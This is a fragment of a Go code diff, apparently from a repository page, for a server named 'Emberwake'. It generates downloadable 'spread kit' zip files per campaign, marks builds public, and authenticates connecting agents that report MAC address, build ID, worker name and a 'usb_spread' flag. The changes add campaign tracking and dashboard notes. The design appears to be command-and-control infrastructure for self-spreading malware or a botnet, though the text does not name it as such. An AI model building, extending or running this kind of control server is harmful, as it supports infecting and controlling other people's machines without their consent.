||||
return err
|
||||
}
|
||||
rel = filepath.ToSlash(rel)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
content := string(data)
|
||||
for k, v := range repl {
|
||||
content = strings.ReplaceAll(content, k, v)
|
||||
}
|
||||
w, err := zw.Create(rel)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.WriteString(w, content)
|
||||
return err
|
||||
})
|
||||
if err != nil {
|
||||
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
if err := zw.Close(); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
|
||||
filename := "emberwake-spread-kit.zip"
|
||||
if req.Campaign != "" {
|
||||
filename = "emberwake-" + req.Campaign + ".zip"
|
||||
}
|
||||
w.Header().Set("Content-Type", "application/zip")
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
|
||||
w.Write(buf.Bytes())
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/public
|
||||
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
var body struct {
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
|
||||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
|
||||
}
|
||||
@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
|
||||
}
|
||||
|
||||
func coalesceStr(vals ...string) string {
|
||||
for _, v := range vals {
|
||||
if strings.TrimSpace(v) != "" {
|
||||
return strings.TrimSpace(v)
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// checkDashboardWSToken validates dashboard WS upgrade credentials.
|
||||
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
|
||||
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
|
||||
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
BuildID string `json:"build_id"`
|
||||
USBSpread bool `json:"usb_spread"`
|
||||
Campaign string `json:"campaign"`
|
||||
UTM string `json:"utm"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
BuildID: auth.BuildID,
|
||||
WorkerName: workerName,
|
||||
USBSpread: auth.USBSpread,
|
||||
Campaign: coalesceStr(auth.Campaign, auth.UTM),
|
||||
Capabilities: &caps,
|
||||
}
|
||||
|
||||
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
|
||||
Payload: mustMarshal(map[string]string{"line": line}),
|
||||
})
|
||||
}
|
||||
|
||||
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
|
||||
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "emberwake_notes_updated",
|
||||
Payload: mustMarshal(notes),
|
||||
})
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user